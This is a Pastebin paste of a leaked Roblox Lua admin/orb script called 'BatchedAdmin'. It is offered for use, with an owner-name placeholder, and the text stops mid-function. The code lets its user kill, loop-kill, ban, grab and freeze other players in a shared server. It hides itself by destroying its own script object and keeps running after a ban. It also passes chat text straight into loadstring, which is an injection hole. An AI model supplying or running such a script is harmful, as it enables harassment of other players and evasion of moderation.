Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- x = Instance.new("Message", workspace)
- x.Name = "WM"
- x.Text = "BatchedAdmin by w4k has Loaded. Version: 4. Language: English"
- wh1 = Instance.new("Hint", workspace)
- wh1.Name = "WH"
- wh1.Text = "Leaked Version"
- wait(5)
- game.Workspace.WM:remove()
- game.Workspace.WH:remove()
- Owners = "YourNameHere"
- a = game.Players:FindFirstChild(Owners)
- function Chat(text)
- if text == ">ff" then
- ff = Instance.new("ForceField", game.Players.LocalPlayer.Character)
- ff.Name = "FF"
- end
- if text == ">god" then
- game.Players.LocalPlayer.Character.Humanoid.MaxHealth = math.huge
- end
- if text == ">kill" then
- game.Players.LocalPlayer.Character.Humanoid.MaxHealth = 0
- end
- if text == ">god -r" then
- game.Players.LocalPlayer.Character.Humanoid.MaxHealth = 100
- end
- if text == ">ff -x" then
- game.Players.LocalPlayer.Character.FF:remove()
- end
- if text == ">night" then
- game.Lighting.TimeOfDay = 0
- end
- if text == ">day" then
- game.Lighting.TimeOfDay = 14
- end
- if text == ">new brick" then
- Instance.new("Part", workspace)
- end
- if text == ">offline" then
- afk = Instance.new("Hint", workspace)
- afk.Name = "Afk"
- afk.Text = "w4k isn't connected!"
- end
- if text == ">online" then
- game.Workspace.Afk:remove()
- end
- if text == ">prefix" then
- pref = Instance.new("Message", workspace)
- pref.Name = "Prefix"
- pref.Text = "Prefix is '>'."
- wait(3)
- game.Workspace.Prefix:remove()
- end
- if text == ">getorb" then
- --/----------------------------------\--
- --|-> Loading functions............<-|--
- --\----------------------------------/--
- -- Tables --
- iOrb= {} --> Orb Data
- iBan= {} --> Ban table
- iCmd= {} --> Commands using players, booleans and numbers or nothing
- iStr= {} --> Commands using strings, booleans or nothing
- iVal= {} --> Commands using three value like Color3 or Vector3 or nothing
- iLkl= {} --> Loopkill table
- iGod= {} --> Godmode with event function table
- iAll= {} --> Group all the commands to print them
- iHlp= {} --> Group all the commands to print info
- iTls= {} --> Group all the gears and building tools'name to print them
- iGrb= {} --> Players grabbed by orb
- -- Settings --
- iOrb.Player=game:GetService("Players").LocalPlayer
- iOrb.CharacterClone=nil
- iOrb.PlayerName=iOrb.Player.Name
- iOrb.DefaultParent=game.Workspace
- iOrb.TempData=Instance.new("Model")
- iOrb.TempBackpack=Instance.new("Model",iOrb.TempData)
- iOrb.OrbParent=nil
- iOrb.Torso=nil
- iOrb.Version="2"
- iOrb.OrbName=iOrb.Player.Name.."'s [iOrb]"..iOrb.Version
- iOrb.Name=iOrb.OrbName
- iOrb.OrbedName=iOrb.Player.Name
- iOrb.StopCheck=false
- iOrb.runmsg=false
- iOrb.Clearing=true
- iOrb.Part=false
- iOrb.Model=nil
- iOrb.Orb=nil
- iOrb.OrbTorso=nil
- iOrb.Humanoid=nil
- iOrb.FireColorChange=true
- iOrb.Fire=nil
- iOrb.Char=nil
- iOrb.Pos=nil
- iOrb.inUse=false
- iOrb.Move=true
- iOrb.LoadAnimation=true
- iOrb.Unremovable=true
- iOrb.LocalOrb=false
- iOrb.Orbed=false
- iOrb.CreateOrb=true
- iOrb.Trail=true
- iOrb.TSize=.6
- iOrb.sCmdExecution=true
- iOrb.Respawning=false
- iOrb.FEnabled=true
- iOrb.FHeat=1
- iOrb.FSize=2
- iOrb.PDist=.35
- iOrb.PSize=.2
- iOrb.RotSpeed=15
- iOrb.RotCoef=iOrb.RotSpeed
- iOrb.ChatColor="Red"
- iOrb.ColorChange=false
- iOrb.ColorChangeSpeed=15
- iOrb.ColorOne=0/215
- iOrb.ColorTwo=145/235
- iOrb.Size=Vector3.new(1,1,1)
- iOrb.BaseX=4.25
- iOrb.BaseY=0
- iOrb.BaseZ=0
- iOrb.LeviY=0
- iOrb.LeviRise=1.5
- iOrb.LeviSpeed=.06
- iOrb.PPersistence=.4
- iOrb.Turn=true
- iOrb.Particles=false
- -- Building Tools --
- iBuild= {
- stampertool=73089166,
- clone=73089204,
- delete=73089190,
- rotate=58880579,
- wiring=60791062,
- stamperconfig=73089239,
- paint=18474459,
- groupdragger=36334760,
- resize=58901534,
- standardconfig=16975388,
- material=58901405,
- surface=58901575
- }
- -- Gears Tools --
- iGears= {
- coil=16688968,
- rctruck=52180871,
- bow=55917429,
- epicsauce=31314931,
- dancegrenade=65545955,
- blackholebomb=28277486,
- skateboard=27902406,
- freezeray=42845853,
- atmoblaster=50937815,
- platformproducer=34898883,
- wallwalker=35683911,
- sentry=68603151,
- zombiestaff=26421972,
- gravitygun=34901961,
- banhammer=10468797,
- unseeneye=71422361,
- ancalagon=62350883,
- vinestaff=30847733,
- leviatingstaff=48596324,
- polaritystaff=61459706,
- zeusstaff=66416616,
- gravityhammer=33866846,
- magicninja=30847779,
- dualkamas=60888284,
- bbgun=42845609,
- rocket=32356064,
- r80launcher=69209924,
- illuminatingspear=69947379,
- deathspeakerzombie=51760061,
- cursedflamethrower=59175769,
- laservision=69499452,
- deamselixir=65082246,
- hydrianelixir=55917420,
- fermionblade=50938746,
- quantumentangler=72644644,
- egoexpander=26774629,
- kamipotion=66426498,
- missiletoe=66896565,
- azuresword=69499437,
- magiccarpet=71037028,
- blizzardwand=68354832,
- froststaff=66896601,
- lightingorb=72644629,
- confusoray=48596305,
- danceblaster=45941451,
- grapplehook=30393548,
- deathspeakerbook=59848474,
- dracovinbook=49491736,
- dracovinwand=56561607,
- princesswand=49491716,
- flashbang=16979083,
- novawand=27860496,
- darkspellbook=56561579,
- rcplane=69210407,
- icicleslicer=66823689,
- kotikozphaser=61459678,
- ghostfiresword=64220933,
- ninjabomb=64869947,
- supergdisruptor=14516975,
- blastgun=18268645,
- windstaff=18462637,
- atomicdisintegrator=13838639,
- handcannon=33867016,
- flamethrower=33879504,
- hypnocannon=35366155,
- scythe=28275809,
- rccar=31839203,
- woodlandstaff=11373617,
- emraldscatterblaster=22969230,
- scatterblaster=21420014,
- broom=36913601,
- armcannon=48847374,
- frosthammer=71422327,
- dualaxes=69947367,
- gloomystaff=33382711,
- blowdryer=11719016,
- tnt=12902404,
- schoolagefist=65469882,
- skullcracker=65469908,
- remotemine=33383241,
- moonwalkpotion=32353654,
- winsomewand=32355966,
- atomizer=35293856,
- tazerblade=50938773,
- azurestaff=32858662,
- velocityphaser=16469499,
- tornadegrenade=47871646,
- roboarm=35366215,
- hoverboard=64160547,
- vilethorn=54694334,
- darknessstaff=69210321,
- evileyewand=62827121,
- awestar=18010691,
- swordandshield=51302649,
- sparkstaff=10760425,
- undoingaxe=73799348,
- dragonslayer=73232786,
- screechpotion=73232825,
- dualcannons=73265108,
- gravitron=74385438,
- razevenge=74385386,
- glorylauncher=74385418,
- spikegrenade=73888479,
- victoryblaster=75550907,
- superheropotion=76262706
- }
- -- Unremovable --
- if iOrb.Unremovable then coroutine.resume(coroutine.create(function() script:Destroy() end)) end
- -- iSCmd Backup --
- function iBackupsCmd()
- iOrb.TSize=.875 iOrb.PDist=.35 iOrb.PSize=.2 iOrb.Fire.Size=iOrb.FSize iOrb.RotSpeed=8 iOrb.BaseX=4.25 iOrb.BaseY=0 iOrb.BaseZ=0 iOrb.RotCoef=iOrb.RotSpeed
- end
- -- Default Parent --
- coroutine.resume(coroutine.create(function()
- if iOrb.DefaultParent~=iOrb.Player.Character then return else repeat wait()
- if iOrb.Player.Character~=nil then iOrb.DefaultParent=iOrb.Player.Character end
- until false end end))
- -- Orb Child Remover --
- coroutine.resume(coroutine.create(function() repeat wait()
- if iOrb.Orb~=nil then for _,v in pairs(iOrb.Orb:GetChildren())do if not v:IsA("Fire") then v:Destroy() end end end
- until false end))
- -- iBan players --
- function banPlayers(plr)
- if plr:IsA("Player") then
- for _,v in pairs(iBan) do
- if tostring(v) == plr.Name then
- plr:remove()
- end
- end
- end
- end
- -- iLkl Players --
- coroutine.resume(coroutine.create(function() repeat wait()
- for _,v in pairs(iLkl)do
- coroutine.resume(coroutine.create(function()
- for i,p in pairs(game.Players:GetPlayers())do
- if tostring(p):match(tostring(v)) then
- if p.Character~=nil then
- p.Character:BreakJoints()
- end
- end
- end
- end))
- end
- until false end))
- -- Torso Finder --
- coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Player.Character~=nil then
- if not iOrb.Player.Character:FindFirstChild("Torso") then iOrb.Torso=nil else iOrb.Torso=iOrb.Player.Character:FindFirstChild("Torso") end
- end until false end))
- -- Hint Function --
- function iHint(string,tm,removeHint) if iOrb.Player~=nil and string~=nil and game.Workspace.CurrentCamera~=nil then local hint=nil
- coroutine.resume(coroutine.create(function()
- if not game.Workspace.CurrentCamera:FindFirstChild(iOrb.Player.Name.."HINT") then hint=Instance.new("Hint",game.Workspace.CurrentCamera) hint.Name=iOrb.Player.Name.."HINT" hint.Text=string else hint=game.Workspace.CurrentCamera:FindFirstChild(iOrb.Player.Name.."HINT") hint.Text=string end if removeHint then wait(tm) hint:Destroy()
- for _,v in pairs(game.Workspace.CurrentCamera:GetChildren())do if v:IsA("Hint") and v.Name==iOrb.Player.Name.."HINT" then v:Destroy() end end end
- end)) end end
- -- Typing effect --
- function iTypeMsg(msg,tme) if not iOrb.inUse then if not iOrb.runmsg then iHint('',0,true) iOrb.inUse=false return end iOrb.inUse=true
- for i=1,msg:len(),1 do wait()
- iHint(msg:sub(1,i))
- end wait(tme)
- for i=1,msg:len(),1 do wait()
- iHint(msg:sub(i,msg:len()))
- end wait() iHint('',0,true) iOrb.inUse=false
- end end
- -- Local Orb --
- coroutine.resume(coroutine.create(function() repeat wait() if iOrb.LocalOrb~=nil or iOrb.Orbed~=nil then
- if iOrb.LocalOrb==true and iOrb.Orbed==false then iOrb.OrbParent=game.Workspace.CurrentCamera
- elseif iOrb.LocalOrb==false and iOrb.Orbed==false then iOrb.OrbParent=iOrb.DefaultParent
- elseif iOrb.Orbed==true then iOrb.OrbParent=game.Workspace iOrb.LocalOrb=false end end
- until false end))
- -- iOrb Chat Function --
- function iOrbChat(msg)
- if iOrb.Orbed and iOrb.Part and iOrb.Orb~=nil then game:GetService("Chat"):Chat(iOrb.Orb,msg,iOrb.ChatColor) iStr.rename(msg) end
- for cmd,func in pairs(iCmd) do
- if msg:sub(1,tostring(cmd):len()+1)==tostring(cmd)..":" then msg=msg:lower() msg=string.gsub(msg:sub(1,tostring(cmd):len()+1),":","(\'")..msg:sub(tostring(cmd):len()+2)
- if tostring(cmd) ~= "rotspeed" or tostring(cmd) ~= "x" or tostring(cmd) ~= "y" or tostring(cmd) ~= "z" then coroutine.resume(coroutine.create(iSCmd)) end
- local command=msg:gsub(",","\',\'")
- command=command:gsub(" ","\',\'")
- command=command:gsub("/","\',\'")
- command=command:gsub(":","\',\'")
- command=command:gsub("%.","\',\'")
- command=command:gsub("|","\') iCmd."..tostring(cmd).."(\'")
- command="iCmd."..command.."\')"
- coroutine.resume(coroutine.create(function()loadstring(command)()end)) return
- end
- end
- for cmd2,func2 in pairs(iStr) do
- if msg:sub(1,tostring(cmd2):len()+1)==tostring(cmd2)..":" then
- coroutine.resume(coroutine.create(iSCmd))
- coroutine.resume(coroutine.create(function()loadstring("iStr."..tostring(cmd2).."([===["..msg:sub(tostring(cmd2):len()+2).."]===])")()end)) return
- end
- end
- for cmd3,func3 in pairs(iVal) do
- if msg:sub(1,tostring(cmd3):len()+1)==tostring(cmd3)..":" then
- local command=msg:gsub(":",",")
- command=command:gsub(" ",",")
- command=command:gsub("/",",")
- command=command:gsub("%.",",")
- coroutine.resume(coroutine.create(iSCmd))
- coroutine.resume(coroutine.create(function()loadstring("iVal."..tostring(cmd3).."("..command:sub(tostring(cmd3):len()+2)..")")()end)) return
- end
- end
- end
- -- Remove Orb --
- function iRemoveOrb(path) coroutine.resume(coroutine.create(function()
- for _,v in pairs(path:GetChildren())do
- if v.Name==iOrb.Name then v:remove() end end
- if iOrb.Orbed then for _,v in pairs(game.Workspace:GetChildren())do
- if v.Name==iOrb.Name then v:remove() end
- end end end))end coroutine.resume(coroutine.create(function() wait(.1) iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) end))
- -- Orb Antiban Persistence --
- coroutine.resume(coroutine.create(function()
- repeat wait() if not game.Players:FindFirstChild(iOrb.PlayerName) or game.Players:FindFirstChild(iOrb.PlayerName) and not game.Players:FindFirstChild(iOrb.PlayerName):IsA("Player") then iOrb.Particles=true if iOrb.Fire~=nil then iOrb.Fire.Enabled=true end iOrb.CreateOrb=false iOrb.Orbed=true iOrb.LocalOrb=false iOrb.sCmdExecution=false iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) wait(.1) iOrb.Name=iOrb.OrbedName wait() iOrb.CreateOrb=true break end until iOrb.StopCheck wait()
- if iPrimaryChat~=nil then iPrimaryChat:disconnect() end wait() if not iOrb.StopCheck then
- iSecondChat=iOrb.Player.Chatted:connect(iOrbChat) end
- end))
- -- Match Players --
- function iGetPlayer(str) local players={} string=str:lower()
- if string=="me" and iOrb.Orbed==false then table.insert(players,iOrb.Player)
- elseif string=="all" or string=="" or string==nil then
- for _,v in pairs(game.Players:GetPlayers())do
- table.insert(players,v)
- end
- elseif string=="others" then
- for _,v in pairs(game.Players:GetPlayers())do
- if v~=iOrb.Player then
- table.insert(players,v)
- end end
- else for _,v in pairs(game.Players:GetPlayers())do
- if string.lower(v.Name:sub(1,string:len()))==string then
- table.insert(players,v)
- end end
- end return players
- end
- -- Trail Creation --
- function iTrailCreation()
- if iOrb.Orb~=nil then
- if iOrb.Trail then
- coroutine.resume(coroutine.create(function()
- local cOrb=iOrb.Orb:Clone()
- cOrb.Name="cTrail"
- cOrb.Anchored=true
- cOrb.Locked=true
- cOrb.CanCollide=false
- cOrb.Shape="Block"
- cOrb.FormFactor="Custom"
- cOrb.Size=Vector3.new(iOrb.TSize,iOrb.TSize,iOrb.TSize)
- cOrb.Parent=iOrb.Orb.Parent
- for _,v in pairs(cOrb:GetChildren())do v:remove() end
- cOrb.CFrame=CFrame.new(iOrb.Orb.CFrame.p)*CFrame.fromEulerAnglesXYZ(math.random(0,math.rad(360)),math.random(0,math.rad(360)),math.random(0,math.rad(360)))
- local cPos=cOrb.CFrame.p
- cOrb.Transparency=0.2
- for i=1,10,1 do wait()
- pcall(function()
- cOrb.Size=cOrb.Size-Vector3.new(0.075,0.075,0.075)
- cOrb.Transparency=cOrb.Transparency+0.075
- cOrb.CFrame=CFrame.new(cPos)*CFrame.fromEulerAnglesXYZ(math.random(0,math.rad(360)),math.random(0,math.rad(360)),math.random(0,math.rad(360)))
- end)
- end
- pcall(function() cOrb:remove() end)
- end)) else for _,v in pairs(iOrb.Orb.Parent:GetChildren())do if v.Name=="cOrb" and v:IsA("BasePart") then v:remove() end end end
- end
- end
- -- Particles Creation --
- function iParticlesCreation(vector,dis,size)
- if iOrb.Orb~=nil and iOrb.LoadAnimation then
- if iOrb.Particles then if iOrb.Orb~=nil and iOrb.LoadAnimation then
- local cOrb=iOrb.Orb:Clone()
- cOrb.Name="cParticle"
- cOrb.Anchored=true
- cOrb.Locked=true
- cOrb.CanCollide=false
- cOrb.Shape="Block"
- cOrb.FormFactor="Custom"
- cOrb.Reflectance=0
- if size==nil then cOrb.Size=Vector3.new(iOrb.PSize,iOrb.PSize,iOrb.PSize) else
- cOrb.Size=Vector3.new(size,size,size)
- end
- for _,v in pairs(cOrb:GetChildren())do v:remove() end
- cOrb.Parent=iOrb.Orb.Parent
- cOrb.CFrame=CFrame.new(vector)*CFrame.fromEulerAnglesXYZ(math.random(0,math.rad(360)),math.random(0,math.rad(360)),math.random(0,math.rad(360)))*CFrame.new(Vector3.new((math.random(-iOrb.Orb.Size.X-dis,iOrb.Orb.Size.X+dis))*math.cos(math.rad(0,360)),(math.random(-iOrb.Orb.Size.X-dis,iOrb.Orb.Size.X+dis))*math.cos(math.rad(0,360)),(math.random(-iOrb.Orb.Size.X-dis,iOrb.Orb.Size.X+dis))*math.sin(math.rad(0,360))))
- local cPos=cOrb.CFrame.p
- cOrb.Transparency=.3
- local cOrb2=cOrb:Clone()
- cOrb2.Parent=iOrb.Orb.Parent
- cOrb2.Name="cParticle2"
- cOrb2.Reflectance=0
- coroutine.resume(coroutine.create(function(cOrb,cOrb2)
- for i=1,10,1 do wait() if iOrb.Orb~=nil and iOrb.Particles and iOrb.LoadAnimation then
- cOrb2.Transparency=cOrb2.Transparency+0.1
- cOrb2.Size=cOrb2.Size+Vector3.new(.04,.04,.04)
- cOrb2.CFrame=cOrb.CFrame
- else cOrb:remove() cOrb2:remove() end end
- end),cOrb,cOrb2)
- wait(iOrb.PPersistence)
- for i=1,10,1 do wait() if iOrb.Orb~=nil and iOrb.Particles and iOrb.LoadAnimation then
- cOrb.Transparency=cOrb.Transparency+0.1
- else cOrb:remove() cOrb2:remove() end end
- cOrb:remove() cOrb2:remove()
- end end
- end
- end
- -- Orb Execution Animation --
- function iSCmd()
- if iOrb.Orb==nil or iOrb.Part==false or iOrb.sCmdExecution==false or iOrb.Orbed then return end
- local cOrb=iOrb.Orb:Clone()
- cOrb.Name="cOrb"
- cOrb.Reflectance=0
- cOrb.Anchored=true
- cOrb.Locked=true
- cOrb.CanCollide=false
- cOrb.Parent=iOrb.Orb.Parent
- iOrb.PDist=iOrb.PDist+1.5
- iOrb.PSize=iOrb.PSize+.15
- iOrb.TSize=iOrb.TSize+.65
- if iOrb.Turn then
- if iOrb.RotSpeed~=0 then
- iOrb.RotSpeed = iOrb.RotSpeed+2.5
- end
- end
- if iOrb.Fire~=nil then
- iOrb.Fire.Size=iOrb.Fire.Size+3
- end
- for i = 1, 10, 1 do wait()
- if iOrb.Orb~=nil and iOrb.Part and cOrb~=nil and iOrb.Orbed==false and iOrb.sCmdExecution then
- cOrb.Transparency=cOrb.Transparency+0.1
- cOrb.Size=iOrb.Orb.Size+Vector3.new(i,i,i)
- cOrb.CFrame=iOrb.Orb.CFrame
- if iOrb.Turn then
- iOrb.BaseX=iOrb.BaseX+iOrb.RotCoef/20
- end
- else iBackupsCmd() end
- end
- if cOrb~=nil then cOrb:remove() else iBackupsCmd() end
- wait(.7)
- if iOrb.Orb~=nil and iOrb.Part and cOrb~=nil and iOrb.Orbed==false and iOrb.sCmdExecution then
- coroutine.resume(coroutine.create(function() wait(.275)
- for i=1, 20, 1 do wait()
- if iOrb.Turn then
- if iOrb.Orb~=nil and iOrb.Part and cOrb~=nil and iOrb.Orbed==false and iOrb.sCmdExecution then
- iOrb.BaseX=iOrb.BaseX-iOrb.RotCoef/40
- if iOrb.RotSpeed~=0 then
- iOrb.RotSpeed = iOrb.RotSpeed-0.125
- end
- else iBackupsCmd() end
- end
- end
- end))
- iOrb.PDist=iOrb.PDist-1.5
- iOrb.PSize=iOrb.PSize-.15
- iOrb.TSize=iOrb.TSize-.65
- if iOrb.Fire~=nil then
- iOrb.Fire.Size=iOrb.Fire.Size-3
- end
- else iBackupsCmd() end
- end
- -- Ray Function --
- function iPCmd(playerTable,color)
- if playerTable==nil then return end
- for _,player in pairs(playerTable)do coroutine.resume(coroutine.create(function()
- if player.Character~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.OrbParent then if player==iOrb.Player and iOrb.Orbed then else
- if player.Character:FindFirstChild("Torso") then if player.Character.Torso:IsA("Part") then
- if color==nil then iColor=Color3.new(iOrb.Orb.Color) else iColor=color end
- local iFocus=false
- local iTarget=player.Character.Torso.CFrame.p
- local iDist=(iOrb.Orb.CFrame.p-iTarget).magnitude if iDist > 1000 then return end
- local iRay=Instance.new("Part")
- iRay.CFrame=CFrame.new(Vector3.new(0,100000,0))
- iRay.Name="iRay"
- iRay.Anchored=true
- iRay.Locked=true
- iRay.CanCollide=false
- iRay.Reflectance=.3
- iRay.Transparency=.2
- iRay.Shape="Block"
- iRay.FormFactor="Custom"
- iRay.BrickColor=BrickColor.new(color)
- iRay.Size=Vector3.new(.2,.2,.2)
- iRay.BrickColor=iOrb.Orb.BrickColor
- iRay.Parent=iOrb.Orb.Parent
- for i=10, 1, -2 do wait()
- iTarget=player.Character.Torso.CFrame.p
- iDist=(iOrb.Orb.CFrame.p-iTarget).magnitude
- iRay.Color=iOrb.Orb.Color
- iRay.Size=Vector3.new(.2,.2,iDist/i)
- iRay.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iTarget)*CFrame.new(Vector3.new(0,0,-(iDist/i)/2))
- end iFocus=true
- coroutine.resume(coroutine.create(function(iFocus,iRay,iDist,iTarget) while iFocus and wait() do
- if player.Character~=nil then if not player.Character:FindFirstChild("Torso") then break end else break end
- iTarget=player.Character.Torso.CFrame.p
- iDist=(iOrb.Orb.CFrame.p-iTarget).magnitude
- iRay.Color=iOrb.Orb.Color
- iRay.Size=Vector3.new(.2,.2,iDist)
- iRay.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iTarget)*CFrame.new(Vector3.new(0,0,-iDist/2))
- end end),iFocus,iRay,iDist,iTarget)
- local iTar=iOrb.Orb:Clone()
- iTar.Name="iTar"
- iTar.Reflectance=0
- iTar.Anchored=true
- iTar.Locked=true
- iTar.CanCollide=false
- iTar.CFrame=player.Character.Torso.CFrame
- iTar.Transparency=.3
- iTar.BrickColor=BrickColor.new(iColor)
- iTar.Parent=iOrb.Orb.Parent
- coroutine.resume(coroutine.create(function(iTar)
- for i = 1, 15, 1 do wait()
- if player.Character~=nil then if not player.Character:FindFirstChild("Torso") then break end else break end
- iTar.Transparency=iTar.Transparency+.0325
- iTar.Size=Vector3.new(i,i,i)
- iTar.CFrame=player.Character.Torso.CFrame
- end
- for i = 4, 1, -1 do wait()
- if player.Character~=nil then if not player.Character:FindFirstChild("Torso") then break end else break end
- iTar.Transparency=iTar.Transparency+.0375
- iTar.Size=Vector3.new(i*2,i*2,i*2)
- iTar.CFrame=player.Character.Torso.CFrame
- end wait()
- iTar:remove()
- end),iTar)
- local iPersist=iRay:clone()
- iPersist.Name="iPersist"
- iPersist.BrickColor=BrickColor.new(iColor)
- iPersist.Reflectance=0
- iPersist.Anchored=true
- iPersist.Locked=true
- iPersist.CanCollide=false
- iPersist.CFrame=iRay.CFrame
- iPersist.Parent=iOrb.Orb.Parent
- for i = 1, 10, 1 do wait()
- iPersist.Transparency=iPersist.Transparency+.1
- iPersist.Size=iRay.Size+Vector3.new(i/20,i/20,0)
- iPersist.CFrame=iRay.CFrame
- end
- iPersist:remove() wait(.075)
- for i = 1, 10, 1 do wait()
- iRay.Transparency=iRay.Transparency+.1
- end iFocus=false iRay:remove() wait(2)
- end
- end end
- end
- end)) end wait(.75)
- end
- -- Orb Creation and Verification --
- coroutine.resume(coroutine.create(function() repeat wait(.1)
- if iOrb.LocalOrb==true and iOrb.Orbed==false then iOrb.OrbParent=game.Workspace.CurrentCamera
- elseif iOrb.LocalOrb==false and iOrb.Orbed==false then iOrb.OrbParent=iOrb.DefaultParent
- elseif iOrb.Orbed==true then iOrb.OrbParent=game.Workspace end
- coroutine.resume(coroutine.create(function()
- if iOrb.CreateOrb then
- if iOrb.OrbParent~=nil and iOrb.CreateOrb then
- if iOrb.Player.Character~=nil and iOrb.Torso~=nil and iOrb.CreateOrb or iOrb.Orbed==true and iOrb.CreateOrb then
- if not iOrb.OrbParent:FindFirstChild(iOrb.Name) and iOrb.CreateOrb then iOrb.Part=false iOrb.Orb=nil iOrb.Model=nil
- local iModel=Instance.new("Model",iOrb.OrbParent) iModel.Name=iOrb.Name iModel.Archivable=false iOrb.Model=iModel
- end if iOrb.OrbParent:FindFirstChild(iOrb.Name):IsA("Model") and iOrb.CreateOrb and iOrb.Torso~=nil then
- local iModel=iOrb.OrbParent:FindFirstChild(iOrb.Name) iOrb.Model=iModel
- if not iModel:FindFirstChild("Torso") and iOrb.CreateOrb and iOrb.Torso~=nil then iOrb.Part=false iOrb.Fire=nil iOrb.OrbTorso=nil
- local iTorso=Instance.new("Part",iModel)
- iTorso.Name="Torso"
- iTorso.Anchored=false
- iTorso.Locked=true
- iTorso.Transparency=1
- iTorso.CanCollide=false
- iTorso.Shape="Ball"
- iTorso.Color=Color3.new(iOrb.ColorOne,iOrb.ColorOne,iOrb.ColorOne)
- iTorso.Size=iOrb.Size
- iTorso.CFrame=CFrame.new(Vector3.new(0,10000,0))
- iTorso.BottomSurface="Smooth"
- iTorso.TopSurface="Smooth"
- iOrb.OrbTorso=iTorso end
- if not iModel:FindFirstChild("Head") and iOrb.CreateOrb and iOrb.Torso~=nil then iOrb.Part=false iOrb.Orb=nil iOrb.Fire=nil
- local iHead=Instance.new("Part",iModel)
- iHead.Name="Head"
- iHead.Anchored=true
- iHead.Locked=true
- iHead.Reflectance=.2
- iHead.CanCollide=false
- iHead.Shape="Ball"
- iHead.Color=Color3.new(iOrb.ColorOne,iOrb.ColorOne,iOrb.ColorOne)
- iHead.Size=iOrb.Size
- iHead.CFrame=CFrame.new(iOrb.Torso.CFrame.p+Vector3.new(0,5,0))
- iHead.BottomSurface="Smooth"
- iHead.TopSurface="Smooth"
- iModel.PrimaryPart=iHead
- iOrb.Orb=iHead
- local iFire=Instance.new("Fire")
- iFire.Name="iFire"
- iFire.Color=Color3.new(iOrb.ColorTwo,iOrb.ColorTwo,iOrb.ColorTwo)
- iFire.SecondaryColor=Color3.new(iOrb.ColorOne,iOrb.ColorOne,iOrb.ColorOne)
- iFire.Size=iOrb.FSize
- iFire.Heat=iOrb.FHeat
- iFire.Enabled=iOrb.FEnabled
- iFire.Parent=iHead
- iOrb.Fire=iFire
- else if iModel:FindFirstChild("Head"):IsA("Part") and iOrb.CreateOrb then
- local iHead=iModel:FindFirstChild("Head") iOrb.Orb=iHead iModel.PrimaryPart=iHead
- if not iHead:FindFirstChild("iFire") then iOrb.Fire=nil
- local iFire=Instance.new("Fire")
- iFire.Name="iFire"
- iFire.Color=Color3.new(iOrb.ColorTwo,iOrb.ColorTwo,iOrb.ColorTwo)
- iFire.SecondaryColor=Color3.new(iOrb.ColorOne,iOrb.ColorOne,iOrb.ColorOne)
- iFire.Size=iOrb.FSize
- iFire.Heat=iOrb.FHeat
- iFire.Enabled=iOrb.FEnabled
- iFire.Parent=iHead
- iOrb.Fire=iFire
- end end end if not iModel:FindFirstChild("Humanoid") and iOrb.CreateOrb then iOrb.Part=false iOrb.Humanoid=nil
- local iHumanoid=Instance.new("Humanoid",iModel)
- iHumanoid.MaxHealth=0
- iHumanoid.Health=0
- iOrb.Humanoid=iHumanoid
- end iOrb.Part=true
- end end else iOrb.Part=false iOrb.Orb=nil end end end))
- until false end))
- -- Grabber --
- coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Orb~=nil and iOrb.Part then
- for _,v in pairs(iGrb) do coroutine.resume(coroutine.create(function()
- if v~=game.Players.LocalPlayer then
- if v.Character~=nil then
- if v.Character:FindFirstChild("Torso") then
- v.Character.Torso.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Orb.CFrame.lookVector*1000)
- v.Character.Torso.Anchored=true
- end
- if v.Character:FindFirstChild("Humanoid") then
- v.Character.Humanoid.WalkSpeed=0
- v.Character.Humanoid.PlatformStand=true
- end
- function getParts(path)
- for _,pl in pairs(path:GetChildren())do
- if pl:IsA("BasePart") or v:IsA("Decal") then
- pl.Transparency=.65
- end getParts(pl)
- end
- end getParts(v.Character)
- end
- end
- end)) end
- end until false end))
- -- Hint Commands Function --
- function iHintCmd(string)
- for index,v in pairs(iCmd) do if string~=nil and string~="" then if tostring(index):lower():find(string:lower()) then
- table.insert(iAll,tostring(index))
- end elseif string==nil or string=="" then table.insert(iAll,tostring(index)) end end
- for index,v in pairs(iStr) do if string~=nil and string~="" then if tostring(index):lower():find(string) then
- table.insert(iAll,tostring(index))
- end elseif string==nil or string=="" then table.insert(iAll,tostring(index)) end end
- for index,v in pairs(iVal) do if string~=nil and string~="" then if tostring(index):lower():find(string) then
- table.insert(iAll,tostring(index))
- end elseif string==nil or string=="" then table.insert(iAll,tostring(index)) end end
- iOrb.runmsg=true iTypeMsg(#iAll.." command(s) found.",2)
- for _,v in pairs(iAll) do if not iOrb.runmsg then break end
- iTypeMsg(v..":",1)
- end iOrb.runmsg=false
- for i = #iAll, 1, -1 do
- table.remove(iAll,i)
- end
- end
- -- Hint Gears Name Function --
- function iHintTools(string)
- for index,v in pairs(iBuild) do if string~=nil and string~="" then if tostring(index):lower():find(string:lower()) then
- table.insert(iTls,tostring(index).." ( Building tool )")
- end elseif string==nil or string=="" then table.insert(iTls,tostring(index)) end end
- for index,v in pairs(iGears) do if string~=nil and string~="" then if tostring(index):lower():find(string) then
- table.insert(iTls,tostring(index).." ( Gear tool )")
- end elseif string==nil or string=="" then table.insert(iTls,tostring(index)) end end
- iOrb.runmsg=true iTypeMsg(#iTls.." tool(s) found.",2)
- for _,v in pairs(iTls) do if not iOrb.runmsg then break end
- iTypeMsg(v,1)
- end iOrb.runmsg=false
- for i = #iTls, 1, -1 do
- table.remove(iTls,i)
- end
- end
- -- Orbed --
- coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Orbed==true then iOrb.Move=false iOrb.Player.Character=nil
- if iOrb.OrbParent~=nil and game.Workspace.CurrentCamera~=nil and iOrb.Part and iOrb.Orb~=nil then iOrb.BaseX=-1.5 iOrb.BaseY=-1.5 iOrb.BaseZ=6
- iOrb.Orb.CFrame=CFrame.new(game.Workspace.CurrentCamera.CoordinateFrame.p,game.Workspace.CurrentCamera.CoordinateFrame.lookVector*10000)*CFrame.new(Vector3.new(iOrb.BaseX,iOrb.BaseY,-iOrb.BaseZ))
- end
- end until false end))
- -- Trail --
- coroutine.resume(coroutine.create(function() repeat wait(.035)
- if iOrb.Orb~=nil and iOrb.LoadAnimation then
- if iOrb.Trail then
- coroutine.resume(coroutine.create(iTrailCreation))
